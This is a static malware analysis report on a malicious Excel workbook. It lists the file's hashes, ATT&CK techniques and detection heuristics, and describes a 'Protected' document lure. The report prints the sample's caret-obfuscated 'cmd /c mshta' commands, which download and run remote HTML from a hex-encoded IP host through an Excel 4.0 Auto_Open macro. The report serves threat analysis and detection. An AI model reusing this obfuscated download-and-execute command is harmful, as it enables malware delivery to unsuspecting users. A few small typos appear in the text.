Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 4814133899f43b28…

MALICIOUS

Office (OLE) / .XLS

65.3 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: a97f452c859606c32e3d5efcdc8bf3c2 SHA-1: 079f05675ea79443529b7dfff07e48dacb08c9e8 SHA-256: 4814133899f43b28b9f9f0f56c7356301a821870da15892e9c2b2e4655152d2e
100 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 User Execution: Malicious File T1059.005 Command and Scripting Interpreter: Visual Basic for Applications T1105 Ingress Tool Transfer T1059.001 Command and Scripting Interpreter: PowerShell T1059.003 Command and Scripting teorie: Windows Command Shell T1059.003 Windows Command Shell

The sample uses a 'Protected' document lure to encourage the user to enable content. The embedded Excel 4.0 (XLM) macros utilize the Auto_Open trigger to execute a command line string. Specifically, it attempts to execute 'cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/c.html' and 'cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html', which uses caret symbols to obfuscate the call to mshta.exe to download and execute ahtml file from thexc12a24f5 host.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes